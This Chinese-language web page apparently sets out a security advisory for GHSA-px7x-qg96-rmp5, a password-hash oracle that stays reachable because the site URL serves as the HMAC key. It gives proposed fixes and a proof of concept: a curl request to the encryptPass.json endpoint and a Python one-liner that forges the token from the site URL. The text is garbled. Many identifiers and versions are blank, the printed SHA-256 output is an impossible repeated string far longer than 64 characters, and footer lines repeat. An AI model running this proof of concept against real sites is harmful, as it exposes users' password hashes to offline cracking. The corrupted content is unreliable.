GHSA-px7x-qg96-rmp5 密码哈希预言机漏洞与修复

漏洞总结 漏洞概述 标题：GHSA-px7x-qg96-rmp5 的不完整修复 严重度：中危（CVSS 5.3） 核心问题： 使用站点 URL（ ）作为 HMAC 密钥，导致密码哈希预言机（oracle）仍可被未认证调用者利用。 影响范围 受影响组件： 受影响版本： 至 影响： - 未认证调用者可利用该端点获取密码哈希，进而进行离线暴力破解 - 攻击者可利用 端点，通过提交空密码获取 的变换，缩小离线攻击范围 - 该漏洞允许对任意数据库中的密码哈希进行离线破解 修复方案 1. 使用预安装密钥替代站点 URL 作为 HMAC 密钥 - 将 第 33 行的 替换为 2. 将消息绑定到请求而非时钟 - 在签名消息中包含 参数，防止重放攻击 3. 移除预言机而非依赖门控 - 删除 第 3573 行中的 调用，关闭端点 POC 代码 ```bash A. 无令牌控制请求 $ curl -s -o /dev/null -w "HTTP:%{http_code}\n" "http://TARGET/objects/encryptPass.json?pass=SuperSecret123" HTTP 401 B. 从站点 URL 计算令牌 $ python3 -c " import hmac, hashlib, time key=b'http://TARGET' w=int(time.time())//3600 print(hmac.new(key, str(w).encode(), hashlib.sha256).hexdigest())" 5e8a23e8d0957e7f5d0c8cf3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d1868d6c0f3f1d18

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

GHSA-px7x-qg96-rmp5 密码哈希预言机漏洞与修复

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

GHSA-px7x-qg96-rmp5 密码哈希预言机漏洞与修复

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！